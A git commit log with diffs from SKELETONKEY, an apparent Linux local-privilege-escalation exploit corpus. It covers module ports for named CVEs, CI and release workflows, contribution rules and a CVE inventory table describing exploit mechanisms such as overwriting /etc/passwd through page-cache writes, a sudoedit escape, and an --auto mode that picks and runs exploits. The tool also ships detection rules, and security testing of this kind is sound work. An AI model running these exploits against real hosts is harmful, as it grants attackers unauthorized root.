  v0.5.0 status — all updated to "28 verified + 3 ported".
- CVES.md counts line, the ported-modules note (now calling out
  pack2theroot's high-confidence detect vs. precondition-only for
  the page-cache pair), inventory row, operations table row.
- ROADMAP Phase 7+: pack2theroot moved out of carry-overs into the
  "landed (ported, pending VM verification)" group; added a new
  "--auto accuracy work" subsection documenting the dispatcher
  hardening landed in this commit.
- docs/index.html: scanning-count example bumped to 31, status line
  updated to mention 3 ported modules.

Build verification: full `make clean && make` in `docker gcc:latest`
with libglib2.0-dev installed: links into a 31-module skeletonkey
ELF (413KB), `--list` shows all modules including pack2theroot,
`--detect-rules --format=auditd` emits the new pack2theroot section,
`--auto --i-know --no-shell` exercises the new banner + active
probes + verdict table + fork isolation + scan summary end-to-end.
Only build warning is the pre-existing
`-Wunterminated-string-initialization` in dirty_pipe (not introduced
here).
2026-05-22 22:42:07 -04:00
leviathan ac557b67d0 review pass: fidelity + credits + count consistency for ported modules
Three-agent rigorous review of the dirtydecrypt + fragnesia ports plus
repo-wide doc consistency, followed by a full Linux build verification.

dirtydecrypt (NOTICE + detection rules):
- NOTICE.md: removed an unsupported "Zellic co-founder" detail and a
  fabricated disclosure-date narrative; tightened phrasing of the
  Zellic + V12 credit; noted that upstream poc.c carries no
  author/license header of its own.
- Embedded auditd + sigma rules and detect/sigma.yml broadened to
  cover every binary in dd_targets[] (added /usr/bin/mount,
  /usr/bin/passwd, /usr/bin/chsh) and added the b32 splice rule, so
  the embedded ruleset matches the on-disk reference and the carrier
  list the exploit actually targets.
- Exploit primitive verified byte-for-byte against the V12 PoC
  (tiny_elf[] identical, all rxgk/XDR/fire/pagecache_write logic
  token-identical). docker gcc:latest compile of the Linux path:
  COMPILE_OK, zero warnings.

fragnesia: review found no defects. Exploit primitive byte-identical
to the V12 PoC (shell_elf[] 192 bytes identical, AF_ALG GCM keystream
table + userns/netns/XFRM + receiver/sender/run_trigger_pair all
faithful). The deliberate omissions (ANSI TUI, CLI arg parsing) drop
nothing exploit-critical. docker gcc:latest compile: COMPILE_OK; full
project build links into a working skeletonkey ELF and --list shows
the module registered correctly.

Repo docs (README.md / CVES.md / ROADMAP.md):
- Chose to keep "28 verified" as the headline; the two ported
  modules are represented as a separate clearly-labelled tier
  ("ported-but-unverified") that is explicitly excluded from the
  28-module verified counts. README + CVES.md + ROADMAP.md now tell
  one consistent story.
- Filled a pre-existing documentation gap: sudo_samedit, sequoia,
  sudoedit_editor, vmwgfx were registered + built but absent from
  CVES.md's inventory + operations tables. Added rows synthesized
  from each module's .cve / .summary / .kernel_range fields.
- ROADMAP Phase 8 "7 🟡 PRIMITIVE modules" → "14"; added a "Landed
  since v0.1.0" group; moved vmwgfx out of the stale carry-overs.

docs site (docs/index.html):
- Stat box "28 / total modules" → "28 / verified modules" (the 14+14
  breakdown now sums to the headline consistently).
- Terminal example "scanning 28 modules" → "scanning 30 modules"
  (was factually wrong — the binary literally prints module_count()
  which is 30).
- Status line: updated to mention the 2 ported-but-unverified
  modules and mirror the README phrasing.
- docs/LAUNCH.md left as a dated v0.5.0 launch snapshot.

Build verification: `docker run gcc:latest make clean && make` —
links into a 30-module skeletonkey ELF on Linux. macOS dev box still
hits the pre-existing dirty_pipe header gap; unchanged.

.gitignore: added /skeletonkey to exclude the top-level build
artifact (the existing modules/*/skeletonkey only covered per-module
binaries; the root one was getting picked up by `git add -A`).
2026-05-22 18:41:37 -04:00
leviathan a8c8d5ef1f modules: add dirtydecrypt (CVE-2026-31635) + fragnesia (CVE-2026-46300)
Two new page-cache-write LPE modules, both ported from the public V12
security PoCs (github.com/v12-security/pocs):

- dirtydecrypt (CVE-2026-31635): rxgk missing-COW in-place decrypt.
  rxgk_decrypt_skb() decrypts spliced page-cache pages before the HMAC
  check, corrupting the page cache of a read-only file. Sibling of
  Copy Fail / Dirty Frag in the rxrpc subsystem.

- fragnesia (CVE-2026-46300): XFRM ESP-in-TCP skb_try_coalesce() loses
  the SHARED_FRAG marker, so the ESP-in-TCP receive path decrypts
  page-cache pages in place. A latent bug exposed by the Dirty Frag
  fix (f4c50a4034e6). Retires the old _stubs/fragnesia_TBD stub.

Both wrap the PoC exploit primitive in the skeletonkey_module
interface: detect/exploit/cleanup, an --active /tmp sentinel probe,
--no-shell support, and embedded auditd + sigma rules. The exploit
body runs in a forked child so the PoC's exit()/die() paths cannot
tear down the dispatcher. The fragnesia port drops the upstream PoC's
ANSI TUI (incompatible with a shared dispatcher); the exploit
mechanism is reproduced faithfully. Linux-only code is guarded with
#ifdef __linux__ so the modules still compile on non-Linux dev boxes.

VERIFICATION: ported, NOT yet validated end-to-end on a
vulnerable-kernel VM. The CVE fix commits are not pinned, so detect()
is precondition-only (PRECOND_FAIL / TEST_ERROR, never a blind
VULNERABLE) and --auto will not fire them unless --active confirms.
macOS stub-path compiles verified locally; the Linux exploit-path
build is covered by CI (build.yml, ubuntu) only. See each MODULE.md.

Wiring: core/registry.h, skeletonkey.c, Makefile, CVES.md, ROADMAP.md.
2026-05-22 18:22:30 -04:00
leviathan 3b287f84f0 copy_fail_family: skip DIRTYFAIL typed prompt under --i-know
The vendored DIRTYFAIL exploits call typed_confirm("DIRTYFAIL"), which
reads stdin interactively. SKELETONKEY already gates --exploit/--auto
behind --i-know, so the prompt is redundant and deadlocks non-interactive
runs like `skeletonkey --auto --i-know`.

Add a dirtyfail_assume_yes flag, forwarded from skeletonkey_ctx.authorized
by the bridge layer's apply_ctx(). When set, typed_confirm() auto-satisfies
its gate and logs that it did so.

The YES_BREAK_SSH self-lockout guard is exempt — it protects the
operator's own access rather than gating authorization, so it still
requires an interactive answer.

Standalone DIRTYFAIL builds are unchanged: the flag defaults false.
2026-05-22 16:49:15 -04:00
leviathan 33f81aeb69 site: revert CVE table → pill grid
The sortable table was denser but lost the visual scan-ability of
the color-coded pill grid. Restoring the pill view: two grouped
sections (🟢 / 🟡) each showing every module name as a pill.

Drops the table-sort JS (~25 lines) and the .cve-table CSS block.
2026-05-17 02:25:25 -04:00
leviathan 5be3c46719 CONTRIBUTING: fix stale IAMROOT_EXPLOIT_OK → SKELETONKEY_EXPLOIT_OK
Two references missed during the IAMROOT → SKELETONKEY rename in
v0.4.0. The enum value in core/module.h is SKELETONKEY_EXPLOIT_OK.
2026-05-17 02:24:06 -04:00
leviathan 58fb2e0951 site: simplify nav + add sortable CVE chart
nav: removed Releases / CVEs / Defenders links — kept only a
    right-aligned GitHub link with the Octocat SVG icon.
  index.html: replaced pill-grid corpus view with a proper sortable
    table — Year, CVE, Bug, Module, Tier columns. Click headers to
    sort. Defaults to Year descending. 28 rows covering 2016 → 2026.
  style.css: added .nav-github (border-pill style) + table styles
    (sortable headers with arrow indicators, hover rows, mobile-
    responsive font-size + overflow-x scroll).

JS for sort is ~25 lines vanilla — no library.
2026-05-17 02:22:54 -04:00
leviathan 2904fa159c site: GitHub Pages landing page
Single-page static site under /docs/, served by GitHub Pages from
the main branch /docs source.

  docs/index.html: hero with one-liner + copy button, why-this-exists,
    corpus stats + module pills (14 🟢 + 14 🟡), audience cards
    (red/blue/sysadmin/CTF), terminal-shape worked example,
    verified-vs-claimed bar, quickstart commands, status, footer.
  docs/style.css: dark theme matching GitHub's color palette
    (#0d1117 bg, #c9d1d9 text). System sans for prose, ui-monospace
    for code. Mobile-responsive with grid breakpoints. No JS framework,
    no external fonts, no analytics.
  docs/.nojekyll: disable Jekyll so the static HTML is served
    verbatim and the existing /docs/*.md files stay as raw markdown
    (viewable via GitHub UI, not the Pages site).
2026-05-17 02:14:15 -04:00
leviathan 2873133852 README: polish — accurate counts, audience table, corpus glance
Module counts were stale: 13 🟢 + 11 🟡 → corrected to 14 🟢 + 14 🟡
    (sudoedit_editor is new 🟢; sudo_samedit + sequoia + vmwgfx are
    new 🟡 from the v0.5.0 batch).
  Added 'Who it's for' table — red team / sysadmin / blue team / CTF
    each get a row.
  Added 'Corpus at a glance' section with explicit module lists per
    tier, replacing the prose paragraph that buried the names.
  Tightened Quickstart — removed duplicate one-liner block, single
    canonical command set.
  Worked example switched from fictional dirty_pipe to the actual
    --auto output shape (pwnkit pick on a vulnerable Ubuntu 5.15).
  Honest 'Status' framing — acknowledges no empirical end-to-end
    validation yet, calls it the next roadmap item. Replaces the
    aspirational 'CI-tested across a distro matrix' claim.
  Added 'How it works' (was 'Architecture' + 'Build & run' merged
    into a clearer flow) and 'The verified-vs-claimed bar' section
    explaining why most modules ship without per-kernel offsets.
2026-05-17 02:02:50 -04:00
leviathan 95135213e5 launch: README polish + CONTRIBUTING + LAUNCH.md
README.md: badges (release / license / module-count / platform),
    sharpened hero stating value prop in one sentence, audience
    framing for red team / sysadmin / blue team.
  CONTRIBUTING.md (new): what we accept (offsets, modules, detection
    rules, bug reports) and what we don't (untested EXPLOIT_OK,
    fabricated offsets, 0days, undisclosed CVEs).
  docs/LAUNCH.md (new): ~600-word HN/blog launch post. Copy-paste
    ready. Explains the verified-vs-claimed bar + --auto + the
    operator-populated offset table approach.

GitHub repo description + 11 topics set via gh repo edit so the
repo is discoverable in topic searches (linux-security,
privilege-escalation, cve, redteam, blueteam, etc.).
2026-05-17 01:59:25 -04:00
leviathan 0fbe1b058f v0.5.0: --auto mode + sysadmin one-liner
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
skeletonkey.c: new --auto subcommand. Scans every module's detect(),
    filters to VULNERABLE, ranks by safety (structural > page-cache >
    userspace > kernel-primitive > race), runs the safest exploit.
    Requires --i-know. If the safest fails, suggests next candidates.

  README.md: 'One-command root' Quickstart section showing
    curl … install.sh | sh && skeletonkey --auto --i-know
    — the sysadmin/red-team one-liner.

  Status: bumped 0.4.5 → 0.5.0; corpus 24 → 28 modules (4 new in
    parallel batch: sudo_samedit, sequoia, sudoedit_editor, vmwgfx).
2026-05-17 01:55:13 -04:00
leviathan e13edd0cfd modules: add sudo_samedit + sequoia + sudoedit_editor + vmwgfx
sudo_samedit (CVE-2021-3156): Qualys Baron Samedit, userspace heap
    overflow in sudoedit -s. Version-range detect; Qualys-style trigger
    fork+verify (no per-distro offsets shipped — EXPLOIT_FAIL honest).
  sequoia (CVE-2021-33909): Qualys size_t→int wrap in seq_buf_alloc.
    Userns reach + 5000-level nested tree + bind-mount amplification +
    /proc/self/mountinfo read triggers stack-OOB write. No JIT-spray.
  sudoedit_editor (CVE-2023-22809): Synacktiv EDITOR/VISUAL '--' argv
    escape. Structural exploit — no offsets. Helper-via-sudoedit
    appends 'skel::0:0:' line to /etc/passwd, su to root.
  vmwgfx (CVE-2023-2008): DRM buffer-object OOB write in VMware guests.
    Detect requires DMI VMware + /dev/dri/cardN vmwgfx driver.

All four refuse cleanly on kctf-mgr (patched 6.12.86 / sudo 1.9.16p2).
2026-05-17 01:53:18 -04:00
leviathan 5a73565e0e scaffold: 4 new module dirs (sudo_samedit, sequoia, sudoedit_editor, vmwgfx)
Stubs returning PRECOND_FAIL. Parallel agents fill in real detect/exploit.
2026-05-17 01:47:28 -04:00
leviathan 324b539d65 README: bump Status to v0.4.5 2026-05-16 23:09:19 -04:00
leviathan e668c3301f banner: drop ASCII art, plain text only
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Replace the skeleton-key ASCII art with a single-line text banner.

Bump 0.4.4 → 0.4.5.
2026-05-16 23:05:40 -04:00
leviathan 347a9af832 banner: give the bit actual teeth
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Previous staircase pattern was just trailing decoration — not real
key teeth. Redesigned the bit as a hanging rectangle with two
clearly-projecting notch-teeth on its right edge (the part that
engages a lock's wards). Switched to box-drawing chars for the bit
since they make sharper notches than 8/b/d glyphs; bow stays
ornate-ASCII style.

Bump 0.4.3 → 0.4.4.
2026-05-16 23:04:14 -04:00
leviathan 023289a03a banner: artwork is the focal point — plain SKELETONKEY text below
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
Previous banner had a SKELETONKEY block-letter art that competed
with the skeleton-key drawing for visual attention. Simplified:
the key art is now the focal point, and SKELETONKEY is rendered
as plain spaced text below the drawing.

Slight refinement to the key art: bow is a bit larger (888 instead
of 88) to feel more substantial. Bit/teeth pattern unchanged.

Bump 0.4.2 → 0.4.3.
2026-05-16 23:01:14 -04:00
leviathan e7ced5db7c banner: more detailed ornate skeleton key
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions
The v0.4.1 box-drawing key was minimalist — round bow, line shaft,
small bit. Replaced with a more detailed ornate skeleton-key
silhouette in the classic ASCII-art-of-keys tradition:

  - Round bow with internal "hole" rendered via stylized 8/b/d/'
    pattern (suggests the decorative loop you'd grip)
  - Long shaft running right across the banner
  - Bit at the end with a staircase notch pattern (the iconic
    "key-tooth" descent showing the wards that engage the lock)

Same height as the previous banner. SKELETONKEY block letters
below unchanged.

Bump 0.4.1 → 0.4.2.
2026-05-16 22:57:01 -04:00
leviathan b5188b7818 banner: redesign skeleton key ASCII art
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Replace the previous "circle + shaft + curl" silhouette (which read
more like a magnifying glass) with a proper skeleton-key anatomy:

  - BOW: round decorative loop with center hole (the part you hold)
  - SHAFT: long horizontal rod (= the body of the key)
  - BIT: notched tooth hanging down from the shaft end (the part
    that engages the lock — the iconic key-tooth profile)

Same change in skeletonkey.c BANNER and README.md.

Bump 0.4.0 → 0.4.1.
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leviathan 9593d90385 rename: IAMROOT → SKELETONKEY across the entire project
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Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
2026-05-16 22:43:49 -04:00
leviathan 9d88b475c1 v0.3.1: --dump-offsets tool + NOTICE.md per module
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The README has been claiming "each module credits the original CVE
reporter and PoC author in its NOTICE.md" since v0.1.0, but only
copy_fail_family actually shipped one. Fixed.

  modules/<name>/NOTICE.md (×19 new + 1 existing): per-module
    research credit covering CVE ID, discoverer, original advisory
    URL where public, upstream fix commit, IAMROOT's role.

  iamroot.c: new --dump-offsets subcommand. Resolves kernel offsets
    via the existing core/offsets.c four-source chain (env →
    /proc/kallsyms → /boot/System.map → embedded table), then emits
    a ready-to-paste C struct entry for kernel_table[]. Run once
    as root on a target kernel build; upstream via PR. Eliminates
    fabricating offsets — every shipped entry traces back to a
    `iamroot --dump-offsets` invocation on a real kernel.

  docs/OFFSETS.md: documents the --dump-offsets workflow.
  CVES.md: notes the NOTICE.md convention + offset dump tool.

  iamroot.c: bump IAMROOT_VERSION 0.3.0 → 0.3.1.
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@@ -22,7 +22,8 @@ jobs:
run: |
sudo apt-get update -qq
sudo apt-get install -y --no-install-recommends \
build-essential clang make linux-libc-dev
build-essential clang make linux-libc-dev \
libglib2.0-dev pkg-config
- name: show compiler
run: ${{ matrix.cc }} --version
@@ -37,22 +38,34 @@ jobs:
make
fi
- name: sanity — iamroot --version
run: ./iamroot --version
- name: sanity — skeletonkey --version
run: ./skeletonkey --version
- name: sanity — iamroot --list
run: ./iamroot --list
- name: sanity — skeletonkey --list
run: ./skeletonkey --list
- name: sanity — iamroot --scan (no exploit; just detect)
run: ./iamroot --scan --no-color || true
- name: sanity — skeletonkey --scan (no exploit; just detect)
run: ./skeletonkey --scan --no-color || true
# exit code may be nonzero (vulnerable host = exit 2, missing
# precond = exit 4) — that's diagnostic data, not CI failure
- name: sanity — --detect-rules auditd
run: ./iamroot --detect-rules --format=auditd | head -50
run: ./skeletonkey --detect-rules --format=auditd | head -50
- name: sanity — --detect-rules sigma
run: ./iamroot --detect-rules --format=sigma | head -50
run: ./skeletonkey --detect-rules --format=sigma | head -50
- name: tests — detect() unit suite
env:
CC: ${{ matrix.cc }}
run: |
# Run as a non-root user so modules' "already root" gates do
# not short-circuit before the synthetic host-fingerprint
# checks fire. The test binary itself is platform-agnostic;
# the assertions are #ifdef __linux__ guarded.
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
sudo chown -R skeletonkeyci .
sudo -u skeletonkeyci make test
# Static build job: ensures the project links cleanly when -static is
# requested. Useful for deployment to minimal containers / fleet scans
@@ -66,7 +79,8 @@ jobs:
run: |
sudo apt-get update -qq
sudo apt-get install -y --no-install-recommends \
build-essential make linux-libc-dev libc6-dev
build-essential make linux-libc-dev libc6-dev \
libglib2.0-dev pkg-config
- name: make static
# Glibc static linking pulls in NSS at runtime which breaks
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
@@ -75,7 +89,7 @@ jobs:
# gate the merge on it. Migrate to musl-gcc when we want a
# truly portable static binary.
continue-on-error: true
run: make static && ls -la iamroot
run: make static && ls -la skeletonkey
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
# the binary against a VM running a specific (vulnerable or patched)
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@@ -7,7 +7,7 @@ name: release
# Maintainer flow:
# git tag v0.1.0
# git push origin v0.1.0
# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
# → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
on:
push:
@@ -44,20 +44,20 @@ jobs:
CC: ${{ matrix.cc }}
run: |
make
file iamroot
ls -la iamroot
file skeletonkey
ls -la skeletonkey
- name: rename + checksum
run: |
mv iamroot iamroot-${{ matrix.target }}
sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
mv skeletonkey skeletonkey-${{ matrix.target }}
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
- uses: actions/upload-artifact@v4
with:
name: iamroot-${{ matrix.target }}
name: skeletonkey-${{ matrix.target }}
path: |
iamroot-${{ matrix.target }}
iamroot-${{ matrix.target }}.sha256
skeletonkey-${{ matrix.target }}
skeletonkey-${{ matrix.target }}.sha256
release:
needs: build
@@ -72,7 +72,7 @@ jobs:
- name: flatten artifacts
run: |
find dist -type f -exec mv {} . \;
ls -la iamroot-*
ls -la skeletonkey-*
- name: collect release notes
id: notes
@@ -81,16 +81,16 @@ jobs:
echo "tag=$tag" >> "$GITHUB_OUTPUT"
# Pull the latest entry from CVES.md / ROADMAP.md for the body
{
echo "## IAMROOT $tag"
echo "## SKELETONKEY $tag"
echo
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
echo
echo "### Install"
echo
echo '```bash'
echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
echo "iamroot --version"
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
echo "skeletonkey --version"
echo '```'
echo
echo "Or one-shot via the install script:"
@@ -109,12 +109,12 @@ jobs:
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.notes.outputs.tag }}
name: IAMROOT ${{ steps.notes.outputs.tag }}
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
body_path: release-notes.md
files: |
iamroot-x86_64
iamroot-x86_64.sha256
iamroot-arm64
iamroot-arm64.sha256
skeletonkey-x86_64
skeletonkey-x86_64.sha256
skeletonkey-arm64
skeletonkey-arm64.sha256
install.sh
fail_on_unmatched_files: false # install.sh may not exist at first tag
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@@ -5,7 +5,9 @@ build/
*.dSYM/
modules/*/build/
modules/*/dirtyfail
modules/*/iamroot
modules/*/skeletonkey
/skeletonkey
/skeletonkey-test
.vscode/
.idea/
*.swp
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@@ -0,0 +1,89 @@
# Contributing to SKELETONKEY
SKELETONKEY is a curated corpus. PRs welcome for the things below.
For everything else, open an issue first to discuss scope.
## What we accept
### 1. Kernel offsets for the `--full-chain` table
The 11 🟡 PRIMITIVE modules use the shared finisher in
`core/finisher.c` to convert their primitive into a root pop via
`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
at runtime — resolved via env vars / `/proc/kallsyms` /
`/boot/System.map` / the embedded `kernel_table[]` in
`core/offsets.c`.
The embedded table is **empty by default** to honor the
no-fabricated-offsets rule. Every entry must come from a real kernel
you have root on.
**Workflow:**
```bash
sudo skeletonkey --dump-offsets # on the target kernel build
# Paste the printed C struct entry into core/offsets.c kernel_table[]
# Open a PR titled "offsets: <distro> <kernel_release>"
```
Include in the PR body:
- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
- How you verified the offsets (kallsyms / System.map / debuginfo)
- Whether `--full-chain` succeeds end-to-end against any 🟡 module
on that kernel (if you can test on a vulnerable build)
### 2. New modules
A new CVE module is welcome if:
- The bug is **patched in upstream mainline** (no 0days here)
- It has a public CVE assignment or clear advisory
- The kernel range it affects has realistic deployment footprint
- You can include a working detect() with branch-backport ranges
- You ship matching detection rules (auditd at minimum)
Use any existing module as a template. Lightest-weight reference:
`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
Mandatory:
- Detect short-circuits cleanly on patched kernels (we test this)
- `--i-know` gate on exploit
- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
otherwise `EXPLOIT_FAIL` with diagnostic
- `NOTICE.md` crediting the original CVE reporter + PoC author
After the module file exists, wire it into:
- `core/registry.h` (extern declaration)
- `skeletonkey.c` main() (register call)
- `Makefile` (new objects + ALL_OBJS)
- `CVES.md` (inventory entry)
### 3. Detection rules
If you're adding only detection coverage (no exploit) for an
existing or new CVE, that's fine. Drop a sigma rule into the module
or a new auditd rule file.
### 4. Bug reports + CVE-status corrections
Distro backports that patched a CVE without bumping the upstream
version → file an issue. Same for kernels we mis-classify as
vulnerable.
## What we don't accept
- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
- Per-kernel offsets fabricated without verification
- Modules without detection rules
- 0day disclosures (responsible disclosure first; bundle here
after upstream patch ships)
- Container escapes that don't chain to host root
## Code style
C99. Match the surrounding file. Run `make` and the existing
CI build (`.github/workflows/build.yml`) before opening the PR.
## License
By contributing you agree your work is MIT-licensed.
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# CVE inventory
The curated list of CVEs IAMROOT exploits, with patch status and
The curated list of CVEs SKELETONKEY exploits, with patch status and
module status. Updated as new modules land or as upstream patches
ship.
@@ -23,11 +23,42 @@ Status legend:
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only
**Counts (v0.3.0):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
below — CVE-2026-31402 — is a *candidate* with no module, not counted
as a module.)
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
> are ported from public PoCs. The **exploit bodies** are not yet
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
> 28-module verified corpus.
>
> All three now have **pinned fix commits and version-based
> `detect()`**:
> - `pack2theroot` reads PackageKit's `VersionMajor/Minor/Micro` over
> D-Bus and compares against fix release **1.3.5** (commit `76cfb675`).
> - `dirtydecrypt` uses the `kernel_range` model against mainline fix
> **`a2567217`** (Linux 7.0); kernels < 7.0 predate the vulnerable
> rxgk code per Debian's tracker.
> - `fragnesia` uses `kernel_range` against mainline **7.0.9**; older
> Debian-stable branches (5.10/6.1/6.12) are still listed vulnerable
> on Debian's tracker — backport entries will extend the table as
> distros publish them.
>
> `--auto` auto-enables active probes (forked per module so a probe
> crash cannot tear down the scan), which lets all three give an
> empirical confirmation on top of the version verdict. See each
> module's `MODULE.md`.
Every module ships a `NOTICE.md` crediting the original CVE
reporter and PoC author. `skeletonkey --dump-offsets` populates the
embedded offset table for new kernel builds — operators with
root on a host can upstream their kernel's offsets via PR.
## Inventory
| CVE | Name | Class | First patched | IAMROOT module | Status | Notes |
| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
|---|---|---|---|---|---|---|
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
@@ -35,9 +66,9 @@ Status legend:
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
